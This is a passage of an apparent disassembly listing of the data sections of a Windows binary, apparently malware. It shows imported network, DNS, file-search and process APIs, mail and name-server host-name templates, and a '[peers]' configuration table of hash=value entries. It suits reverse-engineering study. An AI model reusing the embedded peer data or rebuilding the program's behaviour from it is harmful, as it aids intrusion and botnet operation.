dup(8080808h), 2 dup(9090909h) dd 4 dup(0A0A0A0Ah), 4 dup(0B0B0B0Bh), 8 dup(0C0C0C0Ch) dd 8 dup(0D0D0D0Dh), 10h dup(0E0E0E0Eh), 10h dup(0F0F0F0Fh) byte_41FEE0 db 0 ; DATA XREF: .text:0040F489r ; .text:0040F7DAr ... align 2 dw 1110h dd 13131212h, 14141414h, 15151515h, 2 dup(16161616h), 2 dup(17171717h) dd 4 dup(18181818h), 4 dup(19191919h), 8 dup(1A1A1A1Ah) dd 8 dup(1B1B1B1Bh), 10h dup(1C1C1C1Ch), 10h dup(1D1D1D1Dh) byte_41FFE0 db 0 ; DATA XREF: .text:0040F45Cr ; .text:0040F7ADr ... db 1, 2, 3 dd 7060504h, 9090808h, 0B0B0A0Ah, 0C0C0C0Ch, 0D0D0D0Dh dd 0E0E0E0Eh, 0F0F0F0Fh, 2 dup(10101010h), 2 dup(11111111h) dd 2 dup(12121212h), 2 dup(13131313h), 4 dup(14141414h) dd 4 dup(15151515h), 4 dup(16161616h), 4 dup(17171717h) dd 8 dup(18181818h), 8 dup(19191919h), 8 dup(1A1A1A1Ah) dd 7 dup(1B1B1B1Bh), 1C1B1B1Bh dword_4200E0 dd 0 ; DATA XREF: sub_412320+166r dd 1, 2, 3, 4, 5, 6, 7, 8, 0Ah, 0Ch, 0Eh, 10h, 14h, 18h dd 1Ch, 20h, 28h, 30h, 38h, 40h, 50h, 60h, 70h, 80h, 0A0h dd 0C0h, 0E0h, 2 dup(0) dword_420158 dd 0 ; DATA XREF: sub_412320+294r dd 1, 2, 3, 4, 6, 8, 0Ch, 10h, 18h, 20h, 30h, 40h, 60h dd 80h, 0C0h, 100h, 180h, 200h, 300h, 400h, 600h, 800h dd 0C00h, 1000h, 1800h, 2000h, 3000h, 4000h, 6000h aIncompatibleVe db 'incompatible version',0 ; DATA XREF: .rdata:00420270o align 4 aBufferError db 'buffer error',0 ; DATA XREF: .rdata:off_42026Co align 4 aInsufficientMe db 'insufficient memory',0 ; DATA XREF: .rdata:off_420268o aDataError db 'data error',0 ; DATA XREF: .rdata:00420264o align 4 aStreamError db 'stream error',0 ; DATA XREF: .rdata:off_420260o align 4 aFileError db 'file error',0 ; DATA XREF: .rdata:0042025Co align 4 aStreamEnd db 'stream end',0 ; DATA XREF: .rdata:00420254o align 10h aNeedDictionary db 'need dictionary',0 ; DATA XREF: .rdata:00420250o dd offset aNeedDictionary ; "need dictionary" dd offset aStreamEnd ; "stream end" dd offset dword_41BDD8 dd offset aFileError ; "file error" off_420260 dd offset aStreamError ; DATA XREF: sub_40E674:loc_40EDD3r ; "stream error" dd offset aDataError ; "data error" off_420268 dd offset aInsufficientMe ; DATA XREF: sub_40FA8A+1B4r ; "insufficient memory" off_42026C dd offset aBufferError ; DATA XREF: sub_40E674:loc_40E6CEr ; "buffer error" dd offset aIncompatibleVe ; "incompatible version" dd offset dword_41BDD8 aGifver db 'GIFVER',0 ; DATA XREF: sub_413720+99o align 10h aNs db 'ns',0 ; DATA XREF: sub_4155DF+60o ; sub_41570A+D5o ... align 4 aNsD_S db 'ns%d.%s',0 ; DATA XREF: sub_41570A+59Ao aNs_S db 'ns.%s',0 ; DATA XREF: sub_41570A+583o align 4 aNsD db 'ns%d',0 ; DATA XREF: sub_41570A+495o align 4 aS_S db '%s.%s',0 ; DATA XREF: sub_41570A+3CCo align 4 aMail db 'mail',0 ; DATA XREF: sub_41570A+E1o ; sub_41570A+1D3o align 4 off_4202AC dd offset sub_415006 ; DATA XREF: sub_416130+4o ; sub_41634A+15o byte_4202B0 db 0Dh ; DATA XREF: sub_416B72+Ao ; sub_416BFA+22r db 0Ah, 43h, 6Fh dd 6E65746Eh dword_4202B8 dd 78452D74h, 65726970h, 3831203Ah ; DATA XREF: sub_416A84+BBo a00 db '00',0Dh,0Ah ; DATA XREF: sub_416A84:loc_416B2Do db 0Dh,0Ah,0 align 4 dword_4202CC dd 6D2F0000h ; DATA XREF: sub_416A84+61o aYad_gif db 'yad.gif',0 ; DATA XREF: sub_416A84+Co dword_4202D8 dd 672E0000h, 6669h ; DATA XREF: sub_416B72+38o dword_4202E0 dd 2F0000h, 6F480000h, 3A7473h, 490A0000h ; DATA XREF: sub_416BFA+3Bo dword_4202F0 dd 203A50h, 6F430000h, 6E65746Eh, 654C2D74h, 6874676Eh ; DATA XREF: sub_416D61+Co dd 6F43003Ah, 6E65746Eh, 78452D74h, 65726970h, 48003Ah dd 0Eh dup(0) dd 1CD40000h, 3500042h dword_420358 dd 20042h, 2 dup(0) ; DATA XREF: .text:00403150o dd 73C00000h dword_420368 dd 74E40001h, 0FFFF0001h, 317AFFFFh, 31AC0040h, 40h, 0FFFF0000h ; DATA XREF: sub_4031BC+2o dd 31F7FFFFh, 31FB0040h, 5840040h, 2, 0 dd 60E0000h, 81840002h, 5600001h, 2, 0 dd 6C40000h, 81600002h, 4240001h, 2, 0 dd 7040000h, 80240002h, 4340001h, 2, 0 dd 0C180000h, 80340002h, 54C0001h, 2, 0 dd 0C620000h, 814C0002h, 4000001h, 2, 0 dd 0D100000h, 80000002h, 1, 4 dup(0) db 0 align 2 dw 0CFCh db 2 align 2 dw 0CEAh db 2 align 2 dw 0CDAh db 2 align 2 dw 0CCAh db 2 align 2 dw 0CBCh db 2 align 2 dw 0CAAh db 2 align 2 dw 0C8Ah db 2 align 2 dw 0C6Eh db 2 align 4 db 0 align 2 dw 6F2h db 2 align 2 dw 6E4h db 2 align 2 dw 6D0h db 2 align 4 db 0 align 2 dw 0BE4h db 2 align 2 dw 0BCAh db 2 align 2 dw 0BB2h db 2 align 2 dw 0B98h db 2 align 2 dw 0B8Ch db 2 align 2 dw 0B7Eh db 2 align 2 dw 0BF0h db 2 align 2 dw 0B60h db 2 align 2 dw 0B52h db 2 align 2 dw 0B42h db 2 align 2 dw 0B2Ah db 2 align 2 dw 0B16h db 2 align 2 dw 0B02h db 2 align 2 dw 0AE4h db 2 align 2 dw 0AC8h db 2 align 2 dw 0AAAh db 2 align 2 dw 0A8Eh db 2 align 2 dw 0A74h db 2 align 2 dw 0A64h db 2 align 2 dw 0A58h db 2 align 2 dw 0A46h db 2 align 2 dw 0A3Ah db 2 align 2 dw 0A2Ah db 2 align 2 dw 0A1Eh db 2 align 2 dw 0BFCh db 2 align 2 dw 0C08h db 2 align 2 dw 0B6Ch db 2 align 2 dw 710h db 2 align 2 dw 720h db 2 align 2 dw 72Eh db 2 align 2 dw 73Ah db 2 align 2 dw 748h db 2 align 2 dw 760h db 2 align 2 dw 76Ch db 2 align 2 dw 782h db 2 align 2 dw 792h db 2 align 2 dw 7A2h db 2 align 2 dw 7B6h db 2 align 2 dw 7BEh db 2 align 2 dw 7CEh db 2 align 2 dw 7ECh db 2 align 2 dw 808h db 2 align 2 dw 820h db 2 align 2 dw 838h db 2 align 2 dw 850h db 2 align 2 dw 868h db 2 align 2 dw 880h db 2 align 2 dw 896h db 2 align 2 dw 8B0h db 2 align 2 dw 8BCh db 2 align 2 dw 8D4h db 2 align 2 dw 8E0h db 2 align 2 dw 8EEh db 2 align 2 dw 904h db 2 align 2 dw 918h db 2 align 2 dw 926h db 2 align 2 dw 934h db 2 align 2 dw 944h db 2 align 2 dw 954h db 2 align 2 dw 960h db 2 align 2 dw 974h db 2 align 2 dw 986h db 2 align 2 dw 9A0h db 2 align 2 dw 9B8h db 2 align 2 dw 9C8h db 2 align 2 dw 9D8h db 2 align 2 dw 9EAh db 2 align 2 dw 9FAh db 2 align 2 dw 0A10h db 2 align 10h db 0 align 2 dw 0C34h db 2 align 2 dw 0C46h db 2 align 2 dw 0C54h db 2 align 2 dw 0C26h db 2 align 4 db 0 align 2 dw 658h db 2 align 2 dw 61Ah db 2 align 2 dw 66Ch db 2 align 2 dw 67Ch db 2 align 2 dw 690h db 2 align 2 dw 6AEh db 2 align 2 dw 62Eh db 2 align 2 dw 642h db 2 align 4 db 0 align 2 dw 11h db 0 db 80h, 13h, 0 db 0 db 80h, 4, 0 db 0 db 80h, 1, 0 db 0 db 80h, 97h, 0 db 0 db 80h, 6Fh, 0 db 0 db 80h, 2, 0 db 0 db 80h, 10h, 0 db 0 db 80h, 12h, 0 db 0 db 80h, 0Fh, 0 db 0 db 80h, 0Ch, 0 db 0 db 80h, 0Eh, 0 db 0 db 80h, 73h, 0 db 0 db 80h, 6, 0 db 0 db 80h, 5, 0 db 0 db 80h, 16h, 0 db 0 db 80h, 34h, 0 db 0 db 80h, 0Dh, 0 db 0 db 80h, 0Bh, 0 db 0 db 80h, 17h, 0 db 0 db 80h, 15h, 0 db 0 db 80h, 14h, 0 db 0 db 80h, 0, 6 db 2 align 2 dw 5F4h db 2 align 2 dw 3 db 0 db 80h, 9, 0 db 0 db 80h, 8, 0 db 0 db 80h, 2 dup(0) db 0 align 2 dw 28h aWsaioctl db 'WSAIoctl',0 align 2 aA_0 db 'A',0 aWsasocketa db 'WSASocketA',0 align 4 aWs2_32_dll db 'WS2_32.dll',0 align 10h aY db 'Y',0 aHttpsendreques db 'HttpSendRequestA',0 align 4 aU db 'U',0 aHttpopenreques db 'HttpOpenRequestA',0 align 4 aI_0 db 'i',0 aInternetcloseh db 'InternetCloseHandle',0 aO db 'o',0 aInternetconnec db 'InternetConnectA',0 align 2 aT_0 db '',0 aInternetopena db 'InternetOpenA',0 db '',0 aInternetreadfi db 'InternetReadFile',0 align 2 aC db '',0 aInternetqueryd db 'InternetQueryDataAvailable',0 align 4 aZ db '',0 aInternetsetopt db 'InternetSetOptionA',0 align 2 aWininet_dll db 'WININET.dll',0 aN db 'N',0 aDnsrecordlistf db 'DnsRecordListFree',0 aG db 'G',0 aDnsquery_a db 'DnsQuery_A',0 align 4 aA_1 db 'A',0 aDnsqueryconfig db 'DnsQueryConfig',0 align 2 aDnsapi_dll db 'DNSAPI.dll',0 align 2 aO_0 db 'O',0 aCreateeventa db 'CreateEventA',0 align 2 a4 db '4',0 aClosehandle db 'CloseHandle',0 dd 65530316h, 65764574h, 746Eh, 655202CFh, 45746573h, 746E6576h dd 3910000h aWaitforsingleo db 'WaitForSingleObjectEx',0 dw 3C6h aLstrcpya db 'lstrcpyA',0 align 2 dw 390h aWaitforsingl_0 db 'WaitForSingleObject',0 aO_1 db 'o',0 aCreatethread db 'CreateThread',0 align 4 db 0D2h ; db 2, 52h, 65h aSumethread db 'sumeThread',0 align 4 db 44h ; D db 3, 53h, 65h aTthreadpriorit db 'tThreadPriority',0 db 56h ; V db 3, 53h, 6Ch db 65h ; e db 65h, 70h, 0 db 0DFh ; db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 4 db 26h ; & db 2, 49h, 6Eh aTerlockedcompa db 'terlockedCompareExchange',0 align 2 dw 223h aInitializecrit db 'InitializeCriticalSection',0 aB_0 db '',0 aDeletecritical db 'DeleteCriticalSection',0 aS db '',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 251h aLeavecriticals db 'LeaveCriticalSection',0 align 2 dw 22Ch aInterlockedinc db 'InterlockedIncrement',0 align 2 dw 228h aInterlockeddec db 'InterlockedDecrement',0 align 2 dw 229h aInterlockedexc db 'InterlockedExchange',0 db 2Ah ; * db 2, 49h, 6Eh aTerlockedexcha db 'terlockedExchangeAdd',0 align 2 dw 3C9h aLstrcpyna db 'lstrcpynA',0 dw 140h aGetcurrentdire db 'GetCurrentDirectoryA',0 align 2 dw 3A4h aWritefile db 'WriteFile',0 aS_0 db 'S',0 aCreatefilea db 'CreateFileA',0 db 5Eh ; ^ db 1, 47h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 169h aGetfullpathnam db 'GetFullPathNameA',0 align 2 dw 27Eh aOpeneventw db 'OpenEventW',0 align 4 db 7Dh ; } db 2, 4Fh, 70h aEneventa db 'enEventA',0 align 2 dw 171h aGetlasterror db 'GetLastError',0 align 2 dw 1E9h aGetversionexa db 'GetVersionExA',0 dw 3CCh aLstrlena db 'lstrlenA',0 align 2 dw 114h aGetcomputernam db 'GetComputerNameA',0 align 2 aF db 'f',0 aCreateprocessa db 'CreateProcessA',0 align 4 db 8Eh ; db 3, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 35Bh aSystemtimetofi db 'SystemTimeToFileTime',0 align 2 dw 173h aGetlocaltime db 'GetLocalTime',0 align 2 dw 1C8h aGetsystemtime db 'GetSystemTime',0 dw 371h aUnmapviewoffil db 'UnmapViewOfFile',0 db 68h ; h db 2, 4Dh, 61h aPviewoffile db 'pViewOfFile',0 aT_1 db 'T',0 aCreatefilemapp db 'CreateFileMappingA',0 align 2 dw 163h aGetfilesize db 'GetFileSize',0 db '',0 aFindclose db 'FindClose',0 db '',0 aFindnextfilea db 'FindNextFileA',0 dd 736C03C0h, 6D637274h, 4170h, 694600D2h, 6946646Eh, 46747372h dd 41656C69h, 3BD0000h, 7274736Ch, 41746163h, 1530000h dd 44746547h, 65766972h, 65707954h, 1760041h aGetlogicaldriv db 'GetLogicalDriveStringsA',0 db 98h ; db 1, 47h, 65h aTprivateprofil db 'tPrivateProfileSectionA',0 db 0A7h ; db 3, 57h, 72h aIteprivateprof db 'itePrivateProfileSectionA',0 dw 19Ch aGetprivateprof db 'GetPrivateProfileStringA',0 align 2 dw 3A9h aWriteprivatepr db 'WritePrivateProfileStringA',0 align 4 db 0C3h ; db 2, 52h, 65h aLeasesemaphore db 'leaseSemaphore',0 align 4 aK db 'k',0 aCreatesemaphor db 'CreateSemaphoreA',0 align 10h db 96h ; db 1, 47h, 65h aTprivateprof_0 db 'tPrivateProfileIntA',0 dd 69560381h, 61757472h, 6C6C416Ch, 636Fh, 69560383h, 61757472h dd 6572466Ch, 2100065h, 70616548h, 6F6C6C41h, 1A30063h dd 50746547h, 65636F72h, 65487373h, 7061h, 6548021Ah, 65527061h dd 6F6C6C41h, 2160063h, 70616548h, 65657246h, 1CA0000h aGetsystemtimea db 'GetSystemTimeAsFileTime',0 db '',0 aFiletimetosyst db 'FileTimeToSystemTime',0 align 10h db 0E2h ; db 1, 47h, 65h aTtimezoneinfor db 'tTimeZoneInformation',0 align 2 dw 3C3h aLstrcmpia db 'lstrcmpiA',0 dw 25Ch aLocalfree db 'LocalFree',0 dw 2D7h aRtlunwind db 'RtlUnwind',0 dw 388h aVirtualquery db 'VirtualQuery',0 align 2 aKernel32_dll db 'KERNEL32.dll',0 align 4 db 0D9h ; db 2, 77h, 76h aSprintfa db 'sprintfA',0 align 2 db 27h,0 aCharlowerbuffa db 'CharLowerBuffA',0 align 4 db '&',0 aCharlowera db 'CharLowerA',0 align 2 a4_0 db '4',0 aCharuppera db 'CharUpperA',0 align 4 aUser32_dll db 'USER32.dll',0 align 4 db 3Ah ; : db 2, 53h, 65h aTsecuritydescr db 'tSecurityDescriptorDacl',0 db 34h ; 4 db 1, 49h, 6Eh aItializesecuri db 'itializeSecurityDescriptor',0 align 10h dd 65520204h, 74655367h, 756C6156h, 41784565h, 1CB0000h dd 43676552h, 65736F6Ch, 79654Bh, 655201DEh, 756E4567h dd 79654B6Dh, 417845h, 655201ECh, 65704F67h, 79654B6Eh dd 417845h, 655201D1h, 65724367h, 4B657461h, 78457965h dd 1F70041h, 51676552h, 79726575h, 756C6156h, 41784565h dd 44410000h, 49504156h, 642E3233h, 6C6Ch, 33h dup(0) _rdata ends ; Section 3. (virtual address 00021000) ; Virtual size : 00000D9C ( 3484.) ; Section size in file : 00000E00 ( 3584.) ; Offset to raw data for section: 0001FA00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 421000h dd 2 dup(0) dword_421008 dd 2 dup(0) ; DATA XREF: sub_401621+50o db 2 dup(0) word_421012 dw 0 ; DATA XREF: sub_401621+46w ; sub_401621+77w dword_421014 dd 81F80000h ; DATA XREF: sub_401621+34w dword_421018 dd 81F80041h ; DATA XREF: sub_401621+26w word_42101C dw 41h ; DATA XREF: sub_401621+3Ew word_42101E dw 45h ; DATA XREF: sub_401621+58w dd 0B2ED3000h, 6DE0040h db 0C7h byte_421029 db 0B9h ; DATA XREF: sub_401621+5Ew dw 0A8C0h word_42102C dw 333h ; DATA XREF: sub_401621+6Aw ; sub_401621+84w dw 0A8C0h dd 0C50F0733h, 0C8BF5100h dword_421038 dd 8683h, 2700000h ; DATA XREF: sub_4016C3+2Ao db 0FCh, 0 word_421042 dw 5E4Ch ; DATA XREF: sub_4016C3+19w ; sub_4016C3+5Dw dword_421044 dd 4020000h ; DATA XREF: sub_4016C3+24w dword_421048 dd 101B405h ; DATA XREF: sub_4016C3+3Bw byte_42104C db 4 ; DATA XREF: sub_4016C3+40w ; sub_4016C3+56o db 2 word_42104E dw 45h ; DATA XREF: sub_4016C3+4Cw ; sub_4016C3+6Aw dd 0D3DA3C00h, 1DE0000h, 0A8C0921Ah, 0A8C00333h, 80733h dd 25C46h, 62610005h, 66656463h dword_421070 dd 6A696867h ; DATA XREF: sub_403078+9r ; sub_403078+1Fr ... dword_421074 dd 6E6D6C6Bh ; DATA XREF: sub_4030E3+9r ; sub_4030E3+1Fr ... dword_421078 dd 7271706Fh ; DATA XREF: sub_402FCB:loc_403019r dd 81F80000h, 81F80041h, 82A80041h, 82A00041h, 82700041h dd 41h, 81F80000h, 41h, 0BB9C0000h, 0BB940041h, 0BB8C0041h dd 0BB840041h, 0BB7C0041h, 0BB740041h, 0BB6C0041h, 0BB640041h dd 0BB5C0041h, 0BB540041h, 0BB4C0041h, 0BB440041h, 0BB3C0041h dd 0BB340041h, 0BB2C0041h, 0BB240041h, 0BB1C0041h, 0BB180041h dd 0BB100041h, 0BB080041h, 0BB000041h, 0BAF80041h, 0BAF00041h dd 0BAE80041h, 0BAE00041h, 0BAD80041h, 0BAD00041h, 0BAC80041h dd 0BAC00041h, 0BAB80041h, 0BAB00041h, 41h, 0BAA40000h dd 0BA9C0041h, 0BA940041h, 0BA8C0041h, 0BA840041h, 0BA7C0041h dd 0BA740041h, 0BA680041h, 0BA600041h, 0BA540041h, 0BA4C0041h dd 0BA440041h, 0BA3C0041h, 0BA340041h, 0BA2C0041h, 0BA240041h dd 0BA180041h, 0BA100041h, 0BA080041h, 0BA000041h, 0B9FC0041h dd 0B9F40041h, 0B9E80041h, 0B9DC0041h, 0B9D40041h, 0B9CC0041h dd 0B9C40041h, 0B9BC0041h, 0B9B00041h, 0B9A80041h, 0B9A00041h dd 0B9980041h, 0B9900041h, 0B9880041h, 0B9800041h, 0B9780041h dd 0B9700041h, 0B96C0041h, 0B9640041h, 0B95C0041h, 0B9540041h dd 0B94C0041h, 0B9400041h, 41h, 450000h, 0B2ED3000h, 6DE0040h dd 0A8C0B9C7h, 0A8C00333h, 0C50F0733h, 0C8BF5100h, 8683h dd 2700000h, 5E4C00FCh, 4020000h, 101B405h, 450204h, 0D3DA3C00h dd 1DE0000h, 0A8C0921Ah, 0A8C00333h, 80733h, 25C46h dword_421218 dd 62610005h ; DATA XREF: sub_40320F+70r aCdefghijklmnop db 'cdefghijklmnopqr',0 align 2 dd offset aConfig_0 ; "[config]" dd offset aLocal_0 ; "[local]" dd offset aPeers_0 ; "[peers]" dd offset a00000000000000 ; "00000000000000009C2DB8A6F34A9C69=452FC5"... dd offset a00010ced75c2e4 ; "00010CED75C2E4C6222534E6BD5BB4A1=D5868A"... dd offset a0001351de60d58 ; "0001351DE60D58519C2DB8A6F34A9C69=452FC5"... dd offset a00037a3051fe23 ; "00037A3051FE23B6BE8B8C79BE6DD56A=41FF4E"... dd offset a003964d3640550 ; "003964D3640550573F800125725481EF=532685"... dd offset a00401b0f192e0c ; "00401B0F192E0CE7BA48E2E720F85CD4=BE4D93"... dd offset a0040a30e13c238 ; "0040A30E13C23842275F69AE7EFD59BA=C12290"... dd offset a0042856b2ace49 ; "0042856B2ACE498B28D976190EA4F30C=443520"... dd offset a004982069e5db7 ; "004982069E5DB75721B54CFF33A26170=5955FC"... dd offset a008052d5853a3b ; "008052D5853A3B3D2A9B84190975BAFD=538551"... dd offset a0080b864b2be6f ; "0080B864B2BE6FD9D7F5EDE294E4D428=445286"... dd offset a008e235027f1c8 ; "008E235027F1C8CF485E95784935E045=458E6D"... dd offset a00a1836ae91d07 ; "00A1836AE91D076BC265F9735204714F=451AAE"... dd offset a01000000000000 ; "0100000000000000000000008D0DFD11=44E14B"... dd offset a01011766d802a3 ; "01011766D802A3FD2F19630EA897B5D4=458E6D"... dd offset a0152101d974365 ; "0152101D974365C7B3B30D653AA78BE2=D429F7"... dd offset a01ea8f6782b0bf ; "01EA8F6782B0BF0A924E507C87446D5B=D99323"... dd offset a0202414d9a28e6 ; "0202414D9A28E6AE0087CCD88F81BF3B=52E02F"... dd offset a0204635ea60fac ; "0204635EA60FAC36D4E434AB91FE3162=D5608B"... dd offset a0222629571f2b9 ; "0222629571F2B9B99485CA73B3962682=D9D18B"... dd offset a02414d9a28e6ae ; "02414D9A28E6AE0087CCD8FFF0F2D14C=442DB4"... dd offset a028c8a0f2ad992 ; "028C8A0F2AD992450B0F6EF397496947=C82055"... dd offset a029b2bd77d16da ; "029B2BD77D16DA39CF62FCF30ED38487=570BCF"... dd offset a0370dc8b37b3b6 ; "0370DC8B37B3B63A34256656A0E26CD0=9A2542"... dd offset a0380eef83fefb7 ; "0380EEF83FEFB7059EF969C51A90C29E=9A2542"... dd offset a0380eef88e0389 ; "0380EEF88E038931BA0C0057ECD0ED2C=9A2542"... dd offset a0380eef8a06de9 ; "0380EEF8A06DE9BD986E69F02698B4F3=9A2542"... dd offset a0380eef8d3389d ; "0380EEF8D3389DA037FDB7564778866E=9A2542"... dd offset a0380eef8ee41b2 ; "0380EEF8EE41B20E1EF02A6139A72B28=9A2542"... dd offset a03cee71f18bcd8 ; "03CEE71F18BCD85C77A54CB0AABA436C=524A9D"... dd offset a03dc878b249549 ; "03DC878B2495491DD2E68616FC8A00A7=58BF0D"... dd offset a061f8a5c4bd902 ; "061F8A5C4BD90280C79A5DD4E05750B8=9A2542"... dd offset a075d262953fccf ; "075D262953FCCF0B51997B802F160B55=430F04"... dd offset a078b04bd90cedf ; "078B04BD90CEDF7DA6CF53FBD871055D=51DC87"... dd offset a080468c1a1daa2 ; "080468C1A1DAA213849A643FEB00A583=4B55E8"... dd offset a089b7828c7c3fc ; "089B7828C7C3FC04CD29750061892863=473DCE"... dd offset a0932d34324a42f ; "0932D34324A42F6E509869D2F6089845=525D96"... dd offset a09bd17989c6e0d ; "09BD17989C6E0DE17EC838EA01A89A03=5588A5"... dd offset a0b953450aafbcb ; "0B953450AAFBCBEA6EA012533F4F1BA8=43A209"... dd offset a110498912f3724 ; "110498912F37243D856456BFF8619D72=9A2542"... dd offset a11f3c749d64ec6 ; "11F3C749D64EC67030EA415C9C5917A9=451ABF"... dd offset a1382c0d7cf1eba ; "1382C0D7CF1EBABFD129A12A6EF79097=540AFF"... dd offset a1516633972c739 ; "1516633972C73945E9D9E2EB4FDA8744=55DBD9"... dd offset a172eb82c66818f ; "172EB82C66818FF5005857F8269BB3B5=9A2542"... dd offset a1949fc107ea399 ; "1949FC107EA39979BDB62D913D1E7A5E=57004F"... dd offset a1ae389c8ec8e6b ; "1AE389C8EC8E6BB98F787298563D170B=CB3BD1"... dd offset a1d9512fae97f20 ; "1D9512FAE97F2025D75F072A75CBA346=544AE2"... dd offset a1e07d016d1afd9 ; "1E07D016D1AFD93CDE4CF35D71ED411D=D33613"... dd offset a1e632838497c0f ; "1E632838497C0F49F8A5280DC92DF8C5=A04B0E"... dd offset a1ea59b4226a1a5 ; "1EA59B4226A1A56B17CB764BBB4DE17D=5452B5"... dd offset a1f87e8ab801503 ; "1F87E8AB801503809BE687700B9273E3=58BF15"... dd offset a1fab1367b3253f ; "1FAB1367B3253F4D017EA9F0B7BD0BAD=473E7B"... dd offset a20c4a0a8eb8249 ; "20C4A0A8EB82493DBAAD4321D8325255=54BA71"... dd offset a21d59ad8e70e8e ; "21D59AD8E70E8E60659638E29EEF5C25=54306A"... dd offset a26998f316d4547 ; "26998F316D45470FFB5CFC42B18CB483=5153E8"... dd offset a26e5e80d3f336a ; "26E5E80D3F336A7D50276357AB91ECA5=3A79BF"... dd offset a2740602e804654 ; "2740602E8046545FCC20E0BA0BCE4EE2=554225"... dd offset a278c11d92d1cbb ; "278C11D92D1CBB0B45089EABC98F0E8D=D3B2A9"... dd offset a27a181a8d1a7a2 ; "27A181A8D1A7A2EC4AAD7BE22FED30A3=5328CD"... dd offset a2a324a1de8043a ; "2A324A1DE8043A06E4907734DC830E33=549D72"... dd offset a2acd8e1be48a72 ; "2ACD8E1BE48A725782AC77571D068605=52EB29"... dd offset a2b1d4e40c6caa0 ; "2B1D4E40C6CAA0738D663472D934D113=48E089"... dd offset a2b7cb08dbb51e0 ; "2B7CB08DBB51E02C8D08719925E71FF3=5242EE"... dd offset a2bf18d609eb338 ; "2BF18D609EB338C9697C9E99379FD16A=558957"... dd offset a2c3cc679f15270 ; "2C3CC679F15270408216FB5B41ED83DF=CFE270"... dd offset a2c70e6209a61a4 ; "2C70E6209A61A405953CF5AF02F7F941=451AAE"... dd offset a2c958a0d8e5f9f ; "2C958A0D8E5F9FB90C9DFD9AB8EA61C9=C39E75"... dd offset a2dd4a650a59ef7 ; "2DD4A650A59EF789ADA6BFDB010BAA08=3E75B8"... dd offset a2dfe9e9769fe0e ; "2DFE9E9769FE0E4E7B278CB6621EE8AE=58BF0B"... dd offset a2ee1e5b03d7907 ; "2EE1E5B03D7907C8B60B9F5C23842FF7=547BD8"... dd offset a2f56fbd56cf103 ; "2F56FBD56CF10379C59D8DDEF31504B5=C30513"... dd offset a2f931dca989f64 ; "2F931DCA989F64FA3387C0E7B08C8560=514490"... dd offset a309992fceb0d89 ; "309992FCEB0D895E2F3E3DAA55F2ED73=D26B86"... dd offset a30f5b8c6ff81ec ; "30F5B8C6FF81EC842534A234E0E5271A=9A2542"... dd offset a3258227eef02ca ; "3258227EEF02CADB160A71E53E056E67=DC5698"... dd offset a333743c57c12cf ; "333743C57C12CF0A339C65F3BA808F30=5125D6"... dd offset a34330744ce204a ; "34330744CE204A98BBD9DBEEDE484E9B=599122"... dd offset a3463f37e18d293 ; "3463F37E18D2937782A521F1E7432786=9A2542"... dd offset a350eed1e99d7a1 ; "350EED1E99D7A1517314504218F5D2C4=5410E1"... dd offset a355196e8c03c69 ; "355196E8C03C69EF694A6CA93633FF43=7C6FF1"... dd offset a35a3f4fa5532dc ; "35A3F4FA5532DCF085EC5B8A51DE230C=D9FFEE"... dd offset a35b4228aeaf57e ; "35B4228AEAF57E552C8129AC6173DE2D=3E7064"... dd offset a36046d68c6ee1a ; "36046D68C6EE1A574F8CD9995269D142=453F3C"... dd offset a3671f8f0d1825e ; "3671F8F0D1825E30F992D802052B1B57=5428DD"... dd offset a36f5a502111d41 ; "36F5A502111D412EC88799A626617225=D9D8BE"... dd offset a3abd9bbe51130f ; "3ABD9BBE51130F44538F529170743384=547BA6"... dd offset a3b9aba5197da40 ; "3B9ABA5197DA4030E857B6448D051337=D97F51"... dd offset a3c6e0a0e2c3ff2 ; "3C6E0A0E2C3FF28576949CD2F52BDA48=54897A"... dd offset a3c74596628f2cc ; "3C74596628F2CC47B01F43304991705C=9A2542"... dd offset a3cf4e05209af8a ; "3CF4E05209AF8A0422187805010D1CCB=50B2DC"... dd offset a3ddfa96d279a4f ; "3DDFA96D279A4F33EB4989EBD4A2890D=D9E56B"... dd offset a3e2372fab58157 ; "3E2372FAB58157944FB3FC34FF36FBE3=3ECC78"... dd offset a3e25afc61075ac ; "3E25AFC61075AC4181B860F53E39F52B=51CA87"... dd offset a4075531a59407a ; "4075531A59407A4E08082FB9D74A6013=DA2554"... dd offset a408fdddba198cb ; "408FDDDBA198CBD47B591DF87A74407C=59DC00"... dd offset a41ba477df4ccd1 ; "41BA477DF4CCD15367A0A043B36ACA91=52EE1A"... dd offset a429cfc080d6f2a ; "429CFC080D6F2AC7340D5578CA9139B8=531DD9"... dd offset a4486277e649fb7 ; "4486277E649FB75D31AEFD34C95139FE=A13577"... dd offset a47094a67556b63 ; "47094A67556B63901B15580A2FC4C5B8=5240A9"... dd offset a47fb594325896f ; "47FB594325896FF85E1A4DF1FED6863E=52E76B"... dd offset a490396794d0e01 ; "490396794D0E01B566DA158FCEBFCE2C=D882BC"... dd offset a4981ceb970143d ; "4981CEB970143D3001C63B41F0CAFAE2=547314"... dd offset a4d063a7474e003 ; "4D063A7474E00350764F9446DA93BA40=D8E072"... dd offset a4d5ff87440e058 ; "4D5FF87440E05875B4534DE2BC165E0B=C39240"... dd offset a4f51da3ee07926 ; "4F51DA3EE079260F9CA0978DB757A7AD=5410E6"... dd offset a50a8ad9acfa5dd ; "50A8AD9ACFA5DDC36C1B19E7EE7619A9=C3D0D0"... dd offset a51811d31ead20d ; "51811D31EAD20DF719086D163F45E36A=5074A3"... dd offset a5228aa8a67447f ; "5228AA8A67447FCD922010E6231E4BD9=545E5C"... dd offset a524185a0bcfffb ; "524185A0BCFFFBA8F297CF9FF7073C59=9A2542"... dd offset a52a7652ac5427b ; "52A7652AC5427B8092E3F1E672A61AD5=52540C"... dd offset a5788f90b56e320 ; "5788F90B56E3202D6B6C6ADEEB75F1A1=3DE4C9"... dd offset a57c3d60dc7674a ; "57C3D60DC7674ACC77CFF277CC1784BE=503E95"... dd offset a58465a764eb26e ; "58465A764EB26E70F82AE3BB5B7004C2=52F1D1"... dd offset a58913b1fe16517 ; "58913B1FE16517356C80CA4BD9728F6E=9A2542"... dd offset a58c37ea9ed4e70 ; "58C37EA9ED4E7025E76D260D51080C77=9A2542"... dd offset a58edc526369c14 ; "58EDC526369C14605039C4FDB1ACEA4E=50667F"... dd 